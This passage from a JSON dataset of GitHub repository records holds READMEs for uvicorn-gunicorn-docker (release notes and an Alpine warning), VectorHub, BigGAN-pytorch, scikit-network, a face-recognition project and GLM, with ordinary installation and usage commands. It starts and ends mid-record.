`APP_MODULE`\n* `HOST`\n* `PORT`\n* `LOG_LEVEL`\n\n## \ud83d\udea8 Alpine Python Warning\n\nIn short: You probably shouldn't use Alpine for Python projects, instead use the `slim` Docker image versions.\n\n---\n\nDo you want more details? Continue reading \ud83d\udc47\n\nAlpine is more useful for other languages where you build a static binary in one Docker image stage (using multi-stage Docker building) and then copy it to a simple Alpine image, and then just execute that binary. For example, using Go.\n\nBut for Python, as Alpine doesn't use the standard tooling used for building Python extensions, when installing packages, in many cases Python (`pip`) won't find a precompiled installable package (a \"wheel\") for Alpine. And after debugging lots of strange errors you will realize that you have to install a lot of extra tooling and build a lot of dependencies just to use some of these common Python packages. \ud83d\ude29\n\nThis means that, although the original Alpine image might have been small, you end up with a an image with a size comparable to the size you would have gotten if you had just used a standard Python image (based on Debian), or in some cases even larger. \ud83e\udd2f\n\nAnd in all those cases, it will take much longer to build, consuming much more resources, building dependencies for longer, and also increasing its carbon footprint, as you are using more CPU time and energy for each build. \ud83c\udf33\n\nIf you want slim Python images, you should instead try and use the `slim` versions that are still based on Debian, but are smaller. \ud83e\udd13\n\n## Tests\n\nAll the image tags, configurations, environment variables and application options are tested.\n\n## Release Notes\n\n### Latest Changes\n\n* \ud83d\udc77 Add GitHub Action to update Docker Hub description, fix. PR [#168](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/168) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Add GitHub Action for Docker Hub description. PR [#167](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/167) by [@tiangolo](https://github.com/tiangolo).\n\n### 0.7.0\n\nThe highlights of this release are:\n\n* Support for Python 3.10 and 3.11.\n* Deprecation of Python 3.6.\n    * The last Python 3.6 image tag was pushed and is available in Docker Hub, but it won't be updated or maintained anymore.\n    * The last image with a date tag is `python3.6-2022-11-25`.\n* Upgraded versions of all the dependencies.\n\n#### Features\n\n* \u2728 Add support for Python 3.11. PR [#159](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/159) by [@tiangolo](https://github.com/tiangolo).\n* \u2b06\ufe0f Upgrade Uvicorn version. PR [#161](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/161) by [@tiangolo](https://github.com/tiangolo).\n* \u2728 Add support for Python 3.10. PR [#99](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/99) by [@tiangolo](https://github.com/tiangolo).\n* \u2b06\ufe0f Upgrade Uvicorn to the last version supporting Python 3.6. PR [#155](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/155) by [@tiangolo](https://github.com/tiangolo).\n* \u2728 Add Python 3.9 and Alpine Python 3.9. PR [#52](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/52) by [@graue70](https://github.com/graue70).\n* \u2b06\ufe0f Install uvicorn[standard] to include uvloop and Gunicorn support. PR [#54](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/54) by [@tiangolo](https://github.com/tiangolo).\n\n#### Breaking Changes\n\n* \ud83d\udd25 Deprecate and remove Python 3.6. PR [#160](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/160) by [@tiangolo](https://github.com/tiangolo).\n\n#### Docs\n\n* \u270f\ufe0f Fix typo, delete repeated line in README. PR [#147](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/147) by [@jiyeonseo](https://github.com/jiyeonseo).\n* \ud83d\udcdd Add note to discourage Alpine with Python. PR [#96](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/96) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udcdd Add warning for Kubernetes, when to use this image. PR [#95](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/95) by [@tiangolo](https://github.com/tiangolo).\n* \u270f\ufe0f Fix typo duplicate \"Note\" in Readme. PR [#92](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/92) by [@tiangolo](https://github.com/tiangolo).\n* \u270f\ufe0f Fix typo (type annotation) in tests. PR [#55](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/55) by [@tiangolo](https://github.com/tiangolo).\n\n#### Internal\n\n* \u2b06\ufe0f Update mypy requirement from ^0.971 to ^0.991. PR [#166](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/166) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update autoflake requirement from ^1.3.1 to ^2.0.0. PR [#165](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/165) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update black requirement from ^20.8b1 to ^22.10. PR [#164](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/164) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update docker requirement from ^5.0.3 to ^6.0.1. PR [#163](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/163) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \ud83d\udd27 Update Dependabot config. PR [#162](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/162) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Add scheduled CI every Monday. PR [#158](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/158) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Do not run double CI for PRs, run on push only on master. PR [#157](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/157) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Add GitHub Action alls-green. PR [#156](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/156) by [@tiangolo](https://github.com/tiangolo).\n* \u2b06\ufe0f Update black requirement from ^19.10b0 to ^20.8b1. PR [#87](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/87) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update mypy requirement from ^0.770 to ^0.971. PR [#143](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/143) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update docker requirement from ^4.2.0 to ^5.0.3. PR [#97](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/97) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Bump actions/setup-python from 1 to 4.1.0. PR [#142](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/142) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update isort requirement from ^4.3.21 to ^5.8.0. PR [#88](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/88) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Bump tiangolo/issue-manager from 0.2.0 to 0.4.0. PR [#85](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/85) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Update pytest requirement from ^5.4.1 to ^7.0.1. PR [#123](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/123) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \u2b06\ufe0f Bump actions/checkout from 2 to 3.1.0. PR [#145](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/145) by [@dependabot[bot]](https://github.com/apps/dependabot).\n* \ud83d\udccc Add external dependencies and Dependabot to get automatic upgrade PRs. PR [#84](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/84) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Update Latest Changes. PR [#83](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/83) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udd25 Remove unused Travis and old GitHub Actions configs. PR [#56](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/56) by [@tiangolo](https://github.com/tiangolo).\n* \ud83d\udc77 Add GitHub Action latest-changes, update issue-manager, add funding. PR [#53](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/53) by [@tiangolo](https://github.com/tiangolo).\n\n### 0.6.0\n\n* Add docs about installing and pinning dependencies. PR [#41](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/41).\n* Add `slim` version. PR [#40](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/40).\n* Remove leftover unneeded config for tests. PR [#39](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/39).\n* Add extra configs, tests, and docs for:\n    * `WORKER_CLASS`\n    * `TIMEOUT`\n    * `KEEP_ALIVE`\n    * `GRACEFUL_TIMEOUT`\n    * `ACCESS_LOG`\n    * `ERROR_LOG`\n    * `GUNICORN_CMD_ARGS`\n    * `MAX_WORKERS`\n    * PR [#38](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/38)\n* Set up CI using GitHub actions, they provide more free instances, so builds finish faster (4 min vs 9 min). PR [#37](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/37).\n* Add support for Python 3.8. PR [#36](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/36).\n* Refactor tests to remove custom testing Dockerfiles, generate them during tests. PR [#35](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/35).\n* Refactor and simplify build process to reduce code duplication. PR [#34](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/34).\n* Disable `pip` cache during installation with `--no-cache-dir`. PR [#13](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/13) by [@pmav99](https://github.com/pmav99).\n* Migrate local development from Pipenv to Poetry. PR [#31](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/31).\n* Add tests and docs for custom `PRE_START_PATH` env var. PR [#30](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/30).\n* Add support for custom `PRE_START_PATH` env var. PR [#12](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/12) by [@mgfinch](https://github.com/mgfinch).\n\n### 0.5.0\n\n* Refactor tests to use env vars and add image tags for each build date, like `tiangolo/uvicorn-gunicorn:python3.7-2019-10-15`. PR [#15](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/15).\n* Update Gunicorn worker heartbeat directory to `/dev/shm` to improve performance. PR [#9](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/9) by [@wshayes](https://github.com/wshayes).\n* Upgrade Travis. PR [#7](https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/7).\n\n### 0.4.0\n\n* Add support for live auto-reload with an additional custom script `/start-reload.sh`, check the [updated documentation](https://github.com/tiangolo/uvicorn-gunicorn-docker#development-live-reload). PR <a href=\"https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/6\" target=\"_blank\">#6</a>.\n\n### 0.3.0\n\n* Set `WORKERS_PER_CORE` by default to `1`, as it shows to have the best performance on benchmarks.\n* Make the default web concurrency, when `WEB_CONCURRENCY` is not set, to a minimum of 2 workers. This is to avoid bad performance and blocking applications (server application) on small machines (server machine/cloud/etc). This can be overridden using `WEB_CONCURRENCY`. This applies for example in the case where `WORKERS_PER_CORE` is set to `1` (the default) and the server has only 1 CPU core. PR <a href=\"https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/5\" target=\"_blank\">#5</a>.\n\n### 0.2.0\n\n* Make `/start.sh` run independently, reading and generating used default environment variables. And remove `/entrypoint.sh` as it doesn't modify anything in the system, only reads environment variables. PR <a href=\"https://github.com/tiangolo/uvicorn-gunicorn-docker/pull/4\" target=\"_blank\">#4</a>.\n\n### 0.1.2\n\n* Whenever this image is built (and each of its tags/versions), trigger a build for the children images (<a href=\"https://github.com/tiangolo/uvicorn-gunicorn-fastapi-docker\" target=\"_blank\">FastAPI</a> and <a href=\"https://github.com/tiangolo/uvicorn-gunicorn-starlette-docker\" target=\"_blank\">Starlette</a>).\n\n### 0.1.0\n\n* Add support for `/app/prestart.sh`.\n\n## License\n\nThis project is licensed under the terms of the MIT license.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "RelevanceAI/vectorhub", "link": "https://github.com/RelevanceAI/vectorhub", "tags": ["python", "vector", "embeddings", "encodings", "vector-similarity", "transformers", "tfhub", "machine-learning", "deeplearning", "artificial-intelligence", "neural-network", "deep-learning", "tensorflow", "pytorch", "word2vec", "image2vec", "audio-processing", "video-processing"], "stars": 507, "description": "Vector Hub - Library for easy discovery, and consumption of State-of-the-art models to turn data into vectors. (text2vec, image2vec, video2vec, graph2vec, bert, inception, etc)", "lang": "Python", "repo_lang": "", "readme": "<h3 align=\"center\">\n(Vectorhub is depreciated, and no longer maintained. We recommend using Sentence Transformer, TFHub and Huggingface directly. If you are looking to vectorize 100million+ data in a parallelized fashion, check out https://tryrelevance.com )\n</h3>\n\n<p align=\"center\">\n    <a href=\"https://hub.getvectorai.com\">\n        <img align=\"center\" src=\"https://getvectorai.com/assets/hub-logo-with-text.png\" width=\"400\"/>\n    </a>\n    <br>\n<p>\n<br>\n<p align=\"center\">\n    <a href=\"https://github.com/vector-ai/vectorhub\">\n        <img alt=\"Release\" src=\"https://img.shields.io/github/v/tag/vector-ai/vectorhub?label=release\">\n    </a>\n    <a href=\"https://getvectorai.com\">\n        <img alt=\"Website\" src=\"https://img.shields.io/website?up_message=online&label=website&url=https%3A%2F%2Fgetvectorai.com\">\n    </a>\n    <a href=\"https://hub.getvectorai.com\">\n        <img alt=\"Hub\" src=\"https://img.shields.io/website?up_message=online&label=hub&url=https%3A%2F%2Fhub.getvectorai.com\">\n    </a>\n    <a href=\"https://discord.gg/CbwUxyD\">\n        <img alt=\"Discord\" src=\"https://img.shields.io/badge/discord-join-blue.svg\">\n    </a>\n</p>\n\n<h3 align=\"center\">\nVector Hub is a library for publication, discovery, and consumption of State-of-the-art models to turn data into vectors. (Text2Vec, Image2Vec, Video2Vec, Face2Vec, Bert2Vec, Inception2Vec, Code2Vec, LegalBert2Vec, etc)\n</h3>\n\n\n---\n<p align=\"center\">\n    <a href=\"https://hub.getvectorai.com\">\n        <img align=\"center\" src=\"https://getvectorai.com/assets/vectorhub-goal.png\" width=\"800\"/>\n    </a>\n</p>\n<br>\n\n\nThere are many ways to extract vectors from data. This library aims to bring in all the state of the art models in a simple manner to vectorise your data easily.\n\nVector Hub provides:\n- A low barrier of entry for practitioners (using common methods)\n- Vectorise rich and complex data types like: text, image, audio, etc in 3 lines of code\n- Retrieve and find information about a model\n- An easy way to handle dependencies easily for different models\n- Universal format of installation and encoding (using a simple `encode` method).\n\nIn order to provide an easy way for practitioners to quickly experiment, research and build new models and feature vectors, we provide a streamlined way to obtain vectors through our universal `encode` API.\n\nEvery model has the following: \n- `encode` allows you to turn raw data into a vector\n- `bulk_encode` allows you to turn multiple objects into multiple vectors\n- `encode_documents` returns a list of dictionaries with with an encoded field\n\nFor bi-modal models:\nQuestion Answering encoders will have:\n- `encode_question`\n- `encode_answer`\n- `bulk_encode_question`\n- `bulk_encode_answer`\n\nText Image Bi-encoders will have: \n- `encode_image`\n- `encode_text`\n- `bulk_encode_image`\n- `bulk_encode_text`\n\n\nThere are thousands of _____2Vec models across different use cases/domains. Vectorhub allows people to aggregate their work and share it with the community. \n\n---\n\n## Powered By Relevance AI - Vector Experimentation Platform\n\nRelevance AI is the vector platform for rapid experimentation. Launch great vector-based applications with flexible developer tools for storing, experimenting and deploying vectors.\n\n[Check out our Github repository here!](https://github.com/RelevanceAI/RelevanceAI)\n\n\n![Github Banner](https://github.com/RelevanceAI/RelevanceAI/blob/development/assets/github_banner.png)\n\n---\n\n## Quickstart:\n\n[Intro to Vectors](https://github.com/vector-ai/vectorhub#what-are-vectors) | [Model Hub](https://hub.getvectorai.com/) | [Google Colab Quickstart](https://go.vctr.ai/vectorhub-colab) | [Python Documentation](https://go.vctr.ai/vectorhub-docs)\n\n---\n\n## Installation:\nTo get started quickly install vectorhub:\n\n```\npip install vectorhub\n```\n\nAlternatively if you require more up-to-date models/features and are okay if it is not fully stable, you can install the nightly version of VectorHub using:\n```\npip install vectorhub-nightly\n```\n\nAfter this, our built-in dependency manager will tell you what to install when you instantiate\na model. The main types of installation options can be found here: https://hub.getvectorai.com/\n\nTo install different types of models:\n```\n# To install transformer requirements\npip install vectorhub[text-encoder-transformers]\n```\n\nTo install all models at once (note: this can take a while! We recommend searching for an interesting model on the website such as USE2Vec or BitMedium2Vec and following the installation line or see examples below.)\n```\npip install vectorhub[all]\n```\n\nWe recommend activating a new virtual environment and then installing using the following: \n\n```\npython3 -m pip install virtualenv \npython3 -m virtualenv env \nsource env/bin/activate\npython3 -m pip install --upgrade pip \npython3 -m pip install vectorhub[all]\n```\n\n### Updates \n\n#### Version 1.4\n\nPrevious issues with batch-processing:\n\nIf bulk fed in, would cause bulk error when really only 1 in 15 inputs were causing errors. Lack of reliability in bulk_encode meant most of the time bulk_encode was just a list comprehension. This meant we lost any speed enhancements we could be getting as we had to feed it through matrices every time.\n\nThe new design now lets us get the most out of multiple tensor inputs.\n\n<p align=\"center\">\n    <a href=\"https://hub.getvectorai.com\">\n        <img align=\"center\" src=\"assets/vectorhub-batch-processing.png\" width=\"800\"/>\n    </a>\n</p>\n<br>\n\n\n\n[Google's Big Image Transfer model](https://blog.tensorflow.org/2020/05/bigtransfer-bit-state-of-art-transfer-learning-computer-vision.html)\n\n```\nfrom vectorhub.encoders.image.tfhub import BitSmall2Vec\nimage_encoder = BitSmall2Vec()\nimage_encoder.encode('https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_92x30dp.png')\n[0.47, 0.83, 0.148, ...]\n```\n[Google's BERT model](https://blog.google/products/search/search-language-understanding-bert/)\n```\nfrom vectorhub.encoders.text.tfhub import Bert2Vec\ntext_encoder = Bert2Vec()\ntext_encoder.encode('This is sparta!')\n[0.47, 0.83, 0.148, ...]\n```\n\n[Google's USE QA model](https://tfhub.dev/google/universal-sentence-encoder-qa/3)\n```\nfrom vectorhub.bi_encoders.text.tfhub import UseQA2Vec\ntext_encoder = UseQA2Vec()\ntext_encoder.encode_question('Who is sparta!')\n[0.47, 0.83, 0.148, ...]\ntext_encoder.encode_answer('Sparta!')\n[0.47, 0.83, 0.148, ...]\n```\n\n[HuggingFace Transformer's Albert](https://github.com/huggingface/transformers)\n\n```\nfrom vectorhub.encoders.text import Transformer2Vec\ntext_encoder = Transformer2Vec('albert-base-v2')\ntext_encoder.encode('This is sparta!')\n[0.47, 0.83, 0.148, ...]\n```\n[Facebook Dense Passage Retrieval](https://github.com/facebookresearch/DPR)\n```\nfrom vectorhub.bi_encoders.qa.torch_transformers import DPR2Vec\ntext_encoder = DPR2Vec()\ntext_encoder.encode_question('Who is sparta!')\n[0.47, 0.83, 0.148, ...]\ntext_encoder.encode_answer('Sparta!')\n[0.47, 0.83, 0.148, ...]\n```\n\n---\n\n### Index and search your vectors easily on the cloud using 1 line of code! \n\n```\n#pip install vectorhub[encoders-text-tfhub]\nfrom vectorhub.encoders.text.tfhub import USE2VEc\nencoder = USE2Vec()\n\n# You can request an api_key simply by using your username and email.\nusername = '<your username>'\nemail = '<your email>'\napi_key = encoder.request_api_key(username, email)\n\n# Index in 1 line of code\nitems = ['dogs', 'toilet', 'paper', 'enjoy walking']\nencoder.add_documents(user, api_key, items)\n\n# Search in 1 line of code and get the most similar results.\nencoder.search('basin')\n```\n\nAdd metadata to your search (information about your vectors)\n\n```\n# Add the number of letters of each word\nmetadata = [7, 6, 5, 12]\nencoder.add_documents(user, api_key, items=items, metadata=metadata)\n```\n\n#### Using a document-orientated-approach instead:\n\n```\nfrom vectorhub.encoders.text import Transformer2Vec\nencoder = Transformer2Vec('bert-base-uncased')\n\nfrom vectorai import ViClient\nvi_client = ViClient(username, api_key)\ndocs = vi_client.create_sample_documents(10)\nvi_client.insert_documents('collection_name_here', docs, models={'color': encoder.encode})\n\n# Now we can search through our collection \nvi_client.search('collection_name_here', field='color_vector_', vector=encoder.encode('purple'))\n```\n\n---\n\n### Easily access information with your model!\n\n```\n# If you want to additional information about the model, you can access the information below:\ntext_encoder.definition.repo\ntext_encoder.definition.description\n# If you want all the information in a dictionary, you can call:\ntext_encoder.definition.create_dict() # returns a dictionary with model id, description, paper, etc.\n```\n\n---\n\n### Turn Off Error-Catching\n\nBy default, if encoding errors, it returns a vector filled with 1e-7 so that if you are encoding and then inserting then it errors out.\nHowever, if you want to turn off automatic error-catching in VectorHub, simply run: \n\n```\nimport vectorhub\nvectorhub.options.set_option('catch_vector_errors', False)\n```\n\nIf you want to turn it back on again, run: \n```\nvectorhub.options.set_option('catch_vector_errors', True)\n```\n\n---\n\n### Instantiate our auto_encoder class as such and use any of the models! \n\n```\nfrom vectorhub.auto_encoder import AutoEncoder\nencoder = AutoEncoder.from_model('text/bert')\nencoder.encode(\"Hello vectorhub!\")\n[0.47, 0.83, 0.148, ...]\n```\n\nYou can choose from our list of models: \n```\n['text/albert', 'text/bert', 'text/labse', 'text/use', 'text/use-multi', 'text/use-lite', 'text/legal-bert', 'audio/fairseq', 'audio/speech-embedding', 'audio/trill', 'audio/trill-distilled', 'audio/vggish', 'audio/yamnet', 'audio/wav2vec', 'image/bit', 'image/bit-medium', 'image/inception', 'image/inception-v2', 'image/inception-v3', 'image/inception-resnet', 'image/mobilenet', 'image/mobilenet-v2', 'image/resnet', 'image/resnet-v2', 'qa/use-multi-qa', 'qa/use-qa', 'qa/dpr', 'qa/lareqa-qa']\n```\n## What are Vectors?\nCommon Terminologys when operating with Vectors:\n- Vectors (aka. Embeddings, Encodings, Neural Representation) ~ It is a list of numbers to represent a piece of data. \n    E.g. the vector for the word \"king\" using a Word2Vec model is [0.47, 0.83, 0.148, ...]\n- ____2Vec (aka. Models, Encoders, Embedders) ~ Turns data into vectors e.g. Word2Vec turns words into vector\n\n<p align=\"center\">\n    <img align=\"center\" src=\"https://jalammar.github.io/images/word2vec/word2vec.png\" width=\"600\"/>\n    <br>\n<p>\n\n\n### How can I use vectors?\n\nVectors have a broad range of applications. The most common use case is to perform semantic vector search and analysing the topics/clusters using vector analytics. \n\nIf you are interested in these applications, take a look at [Vector AI](https://github.com/vector-ai/vectorai).\n\n### How can I obtain vectors?\n- Taking the outputs of layers from deep learning models\n- Data cleaning, such as one hot encoding labels\n- Converting graph representations to vectors\n\n### How To Upload Your 2Vec Model\n\n[Read here if you would like to contribute your model!](https://vector-ai.github.io/vectorhub/how_to_add_a_model.html)\n\n## Philosophy\n\nThe goal of VectorHub is to provide a flexible yet comprehensive framework that allows people to easily be able to turn their data into vectors in whatever form the data can be in. While our focus is largely on simplicity, customisation should always be an option and the level of abstraction is always up model-uploader as long as the reason is justified. For example - with text, we chose to keep the encoding at the text level as opposed to the token level because selection of text should not be applied at the token level so practitioners are aware of what texts go into the actual vectors (i.e. instead of ignoring a '[next][SEP][wo][##rd]', we are choosing to ignore 'next word' explicitly. We think this will allow practitioners to focus better on what should matter when it comes to encoding. \n\nSimilarly, when we are turning data into vectors, we convert to native Python objects. The decision for this is to attempt to remove as many dependencies as possible once the vectors are created - specifically those of deep learning frameworks such as Tensorflow/PyTorch. This is to allow other frameworks to be built on top of it.\n\n## Team\n\nThis library is maintained by the Relevance AI - your go-to solution for data science tooling with tvectors. If you are interested in using our API for vector search, visit https://relevance.ai or if you are interested in using API, check out https://relevance.ai its free for public research and open source.\n\n### Credit:\n\nThis library wouldn't exist if it weren't for the following libraries and the incredible machine learning community that releases their state-of-the-art models:\n\n1. https://github.com/huggingface/transformers\n2. https://github.com/tensorflow/hub\n3. https://github.com/pytorch/pytorch\n4. Word2Vec image - Alammar, Jay (2018). The Illustrated Transformer [Blog post]. Retrieved from https://jalammar.github.io/illustrated-transformer/\n5. https://github.com/UKPLab/sentence-transformers\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sxhxliang/BigGAN-pytorch", "link": "https://github.com/sxhxliang/BigGAN-pytorch", "tags": ["biggan", "pytorch", "gan"], "stars": 507, "description": "Pytorch implementation of LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS (BigGAN)", "lang": "Python", "repo_lang": "", "readme": "# BigGAN-PyTorch\n\nPytorch implementation of LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS (BigGAN)\n\n## train imagenet\n\nfor 128\\*128\\*3 resolution\n\n    python main.py --batch_size 64  --dataset imagenet --adv_loss hinge --version biggan_imagenet --image_path /data/datasets\n\n    python main.py --batch_size 64  --dataset lsun --adv_loss hinge --version biggan_lsun --image_path /data1/datasets/lsun/lsun\n\n    python main.py --batch_size 64  --dataset lsun --adv_loss hinge --version biggan_lsun --parallel True --gpus 0,1,2,3 --use_tensorboard True\n\n\n\n## Different\n\n* not use cross-replica BatchNorm (Ioffe & Szegedy, 2015) in G\n\n## Compatability\n\n* CPU \n* GPU\n\n## Pretrained Models\n\nLSUN Pretrained model\n[Download](https://drive.google.com/open?id=1wevnhx98Okhz3Yysu4sHN3ogTeEhkun5)\n\nSome methods in the paper to avoid model collapse, please see the paper and retrain your model.\n\n\n## Performance\n\n* Infact, as mentioned in the paper, the model will collapse \n* I use LSUN datasets to train this model maybe cause bad performance due to the class of classroom is more complex than \bImageNet\n\n## Results\n\nLSUN DATASETS(two classes): classroom and church_outdoor\n* iter 82200 (128x128) batch_size 64\n![](./results/iter_82200_fake.png)\n* iter 128200\n![](./results/iter_128200_fake.png)\n* iter 365000\n![](./results/iter_365000_fake.png)\n* iter 800000\n![](./results/iter_800000_fake.png)\n* iter 900000\n![](./results/iter_900000_fake.png)\n\n\n\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sknetwork-team/scikit-network", "link": "https://github.com/sknetwork-team/scikit-network", "tags": [], "stars": 507, "description": "Graph Algorithms", "lang": "Python", "repo_lang": "", "readme": ".. image:: https://perso.telecom-paristech.fr/bonald/logo_sknetwork.png\n    :align: right\n    :width: 100px\n    :alt: logo sknetwork\n\n\n\n.. image:: https://img.shields.io/pypi/v/scikit-network.svg\n        :target: https://pypi.python.org/pypi/scikit-network\n\n.. image:: https://github.com/sknetwork-team/scikit-network/actions/workflows/ci_checks.yml/badge.svg\n        :target: https://github.com/sknetwork-team/scikit-network/actions/workflows/ci_checks.yml\n\n.. image:: https://readthedocs.org/projects/scikit-network/badge/?version=latest\n        :target: https://scikit-network.readthedocs.io/en/latest/?badge=latest\n        :alt: Documentation Status\n\n.. image:: https://codecov.io/gh/sknetwork-team/scikit-network/branch/master/graph/badge.svg\n        :target: https://codecov.io/gh/sknetwork-team/scikit-network\n\n.. image:: https://img.shields.io/pypi/pyversions/scikit-network.svg\n        :target: https://pypi.python.org/pypi/scikit-network\n\nPython package for the analysis of large graphs:\n\n* Memory-efficient representation of graphs as sparse matrices in scipy_ format\n* Fast algorithms\n* Simple API inspired by scikit-learn_\n\n.. _scipy: https://www.scipy.org\n.. _scikit-learn: https://scikit-learn.org/\n\nResources\n---------\n\n* Free software: BSD license\n* GitHub: https://github.com/sknetwork-team/scikit-network\n* Documentation: https://scikit-network.readthedocs.io\n\n\nQuick Start\n-----------\n\nInstall scikit-network:\n\n.. code-block:: console\n\n    $ pip install scikit-network\n\nImport scikit-network::\n\n    import sknetwork\n\nSee our `tutorials <https://scikit-network.readthedocs.io/en/latest/tutorials/data/index.html>`_;\nthe notebooks are available `here <https://github.com/sknetwork-team/scikit-network/tree/master/docs/tutorials>`_.\n\nYou can also have a look at some `use cases <https://scikit-network.readthedocs.io/en/latest/use_cases/text.html>`_.\n\nCiting\n------\n\nIf you want to cite scikit-network, please refer to the publication in\nthe `Journal of Machine Learning Research <https://jmlr.org>`_:\n\n.. code::\n\n    @article{JMLR:v21:20-412,\n      author  = {Thomas Bonald and Nathan de Lara and Quentin Lutz and Bertrand Charpentier},\n      title   = {Scikit-network: Graph Analysis in Python},\n      journal = {Journal of Machine Learning Research},\n      year    = {2020},\n      volume  = {21},\n      number  = {185},\n      pages   = {1-6},\n      url     = {http://jmlr.org/papers/v21/20-412.html}\n    }\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jerry1900/faceRecognition", "link": "https://github.com/jerry1900/faceRecognition", "tags": [], "stars": 507, "description": "\u5229\u7528OpenCV\u3001CNN\u8fdb\u884c\u4eba\u8138\u8bc6\u522b", "lang": "Python", "repo_lang": "", "readme": "# faceRecognition\n\u5229\u7528OpenCV\u3001CNN\u8fdb\u884c\u4eba\u8138\u8bc6\u522b\n\u4e07\u58d1\uff0c497899960@qq.com\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "THUDM/GLM", "link": "https://github.com/THUDM/GLM", "tags": [], "stars": 509, "description": "GLM (General Language Model)", "lang": "Python", "repo_lang": "", "readme": "# GLM\n\nGLM is a General Language Model pretrained with an autoregressive blank-filling objective and can be finetuned on\nvarious natural language understanding and generation tasks.\n\nPlease refer to our paper for a detailed description of GLM:\n\n[GLM: General Language Model Pretraining with Autoregressive Blank Infilling](https://arxiv.org/abs/2103.10360) (ACL\n2022)\n\nZhengxiao Du*, Yujie Qian*, Xiao Liu, Ming Ding, Jiezhong Qiu, Zhilin Yang, Jie Tang (*: equal contribution)\n\n**We release [GLM-130B](https://github.com/THUDM/GLM-130B), an open bilingual (English & Chinese) pre-trained language\nmodel wit 130 billion parameters based on the GLM framework.**\n\n## Pretrained Models\n\nYou can download the pretrained models used in the paper\nfrom [OneDrive](https://mailstsinghuaeducn-my.sharepoint.com/:f:/g/personal/zx-du20_mails_tsinghua_edu_cn/En6zA7_utRxHptKWZoDMO14Bkfj3uGRpslYkNvMPdGOmow?e=G0lGSc)\nor 